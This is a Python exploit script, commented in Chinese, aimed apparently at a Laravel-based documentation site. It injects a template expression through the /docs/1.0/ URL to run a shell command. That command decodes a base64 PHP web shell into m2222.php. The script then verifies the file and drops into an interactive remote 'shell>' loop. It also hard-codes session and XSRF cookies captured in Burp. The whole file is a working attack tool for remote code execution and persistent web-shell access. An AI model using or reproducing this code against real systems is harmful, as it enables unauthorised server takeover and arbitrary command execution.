import socket
import argparse
import time
import requests
from urllib.parse import urlparse

requests.packages.urllib3.disable_warnings()

# 配置常量 - 使用你提供的新木马
SHELL_CODE_B64 = "PD9waHAgQHN5c3RlbSgkX0dFVFsnY21kJ10pOyA/Pg=="  # 修改为你的新木马Base64

# 保持Burp原始请求头
BURP_HEADERS = {
    'Accept-Language': 'zh-CN,zh;q=0.9',
    'Upgrade-Insecure-Requests': '1',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'Accept-Encoding': 'gzip, deflate, br',
	'Cookie': 'XSRF-TOKEN=eyJpdiI6IjZ2aU02WjQ2ZTN3TTRFZWtNWHAvYUE9PSIsInZhbHVlIjoiMlQ5WDZiemV3bURBdVM0Y01LblAydjdtdS8wNDhVdFdNd3Q2UkxUZE4vNGtaaTdVNDNsK3NHbjNyV2grME82RmRlYmNMN0JmZ1JxTzkxOTA3akE5VXJSVmVMdC9XMlJpbWFqSDgxYUZVWThtdUhVenNWai9BWnVrMFlHWDNXdTQiLCJtYWMiOiI5Y2U0ODA4OWI4N2JkMzE4ODYyYTk0ZTcwYWM3Y2NiZjhkM2I3N2I1MmQ2ZmYxNmI4NzJjMTk2N2FlNzI0ZWM5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ikdzc3lxMlJKeFQydlM5RGp5N3Y4cGc9PSIsInZhbHVlIjoiUVBYelc4dzBsV3pVa2s1Ly9kQnZ6SlpKSEtxQVpwdlN0cFgwWGZJZCtSTG5QZTA5a2piZ1Z0MVZJeVY0ZFhBM0pxYzhnN1pweXphS1VxeTRwY25mdGRhZ2ZKd1pOS0x5dVdtdVhkazRWVDVRRjdGOXVEMnZqblhuN3o5bWVSOGgiLCJtYWMiOiIxNGU1MTAwYTRjZDRhYWNlMDBlOWU2ZWQzYjQ3ZGUwNjNkNzY5ODA1YWIzZjVkZWM2ZTE2MWI3OTE4YTQwYTE5IiwidGFnIjoiIn0%3D',
    'Connection': 'close'
}

def send_raw_http_request(target_url, headers):
    """ 使用Socket发送原始未编码的HTTP请求 """
    parsed = urlparse(target_url)
    host = parsed.netloc.split(':')[0]
    port = parsed.port if parsed.port else 80
    path = parsed.path + ('?' + parsed.query if parsed.query else '')
    
    # 构建原始HTTP请求（关键：保留特殊字符）
    request_lines = [
        f"GET {path} HTTP/1.1",
        f"Host: {host}",
    ]
    # 添加自定义头部
    for k, v in headers.items():
        request_lines.append(f"{k}: {v}")
    raw_request = "\r\n".join(request_lines) + "\r\n\r\n"

    
    try:
        # 建立TCP连接
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(15)
        s.connect((host, port))
        s.sendall(raw_request.encode())
        
        # 接收响应头判断状态码
        response = b""
        while b"\r\n\r\n" not in response:  # 只读到头部结束
            chunk = s.recv(512)
            if not chunk: break
            response += chunk
        
        # 解析状态码
        status_line = response.split(b'\r\n')[0].decode()
        status_code = int(status_line.split(' ')[1])
        print(f"    |- 响应状态: {status_code}")
        return status_code
        
    except Exception as e:
        print(f"    |- [SOCKET ERROR] {str(e)}")
        return 0
    finally:
        s.close()

def raw_upload_shell(target):
    """ 通过Socket上传木马 """
    print(f"[+] 尝试写入一句话 {target}")
    
    # 构造包含原始特殊字符的URL
    cmd = f'echo${{IFS}}"{SHELL_CODE_B64}"${{IFS}}|${{IFS}}base64${{IFS}}-d${{IFS}}>m2222.php'
    exploit_url = f"{target}/docs/1.0/?{{{{system('{cmd}')}}}}"
    
    # 发送原始Socket请求
    status = send_raw_http_request(exploit_url, BURP_HEADERS)
    return status == 200  # 仅需HTTP 200即视为成功

def verify_shell(target):
    """ 验证木马文件是否存在（仅检查HTTP状态码） """
    print("[+] 验证木马文件...")
    test_url = f"{target}/m2222.php"  # 不需要带参数
    
    try:
        response = requests.head(test_url, headers=BURP_HEADERS, verify=False, timeout=10)
        status = response.status_code
        print(f"    |- 验证请求状态: {status}")
        return status == 200  # 文件存在即返回200
    except Exception as e:
        print(f"    |- [ERROR] 验证异常: {str(e)}")
        return False

def execute_command(target, cmd):
    """执行命令（通过cmd参数传递）"""
    cmd_encoded = requests.utils.quote(cmd)  # 编码特殊字符
    url = f"{target}/m2222.php?cmd={cmd_encoded}"  # 使用cmd参数
    
    try:
        response = requests.get(
            url,
            headers=BURP_HEADERS,
            verify=False,
            timeout=15
        )
        if response.status_code == 200:
            return response.text.strip()  # 直接返回命令输出
        return f"[ERROR] 状态码: {response.status_code}"
    except Exception as e:
        return f"[ERROR] 请求失败: {str(e)}"

def main():
    parser = argparse.ArgumentParser(description="HTTP木马利用工具")
    parser.add_argument("-u", "--url", required=True, help="目标URL (示例: http://192.168.1.100:8000)")
    args = parser.parse_args()

    target = args.url.rstrip('/')
    print(f"\n[+] 目标: {target}")
    
    # 步骤1：Socket上传木马
    if raw_upload_shell(target):
        print("[+] 木马上传成功！等待3秒...")
        time.sleep(3)  # 确保文件写入完成
    else:
        print("[-] 上传失败，终止操作")
        return
    
    # 步骤2：验证文件可访问
    if verify_shell(target):
        print("[+] 木马文件验证成功")
    else:
        print("[-] 木马文件访问失败，可能路径错误或权限问题")
        return
    
    # 步骤3：进入交互式Shell
    print("\n[+] 进入交互式Shell（输入 'exit' 退出）")
    print(f"    命令格式: {target}/m2222.php?cmd=id")
    while True:
        cmd = input("shell> ").strip()
        if cmd.lower() == 'exit':
            break
        if not cmd:
            continue
        result = execute_command(target, cmd)
        print(result)

if __name__ == "__main__":
    main()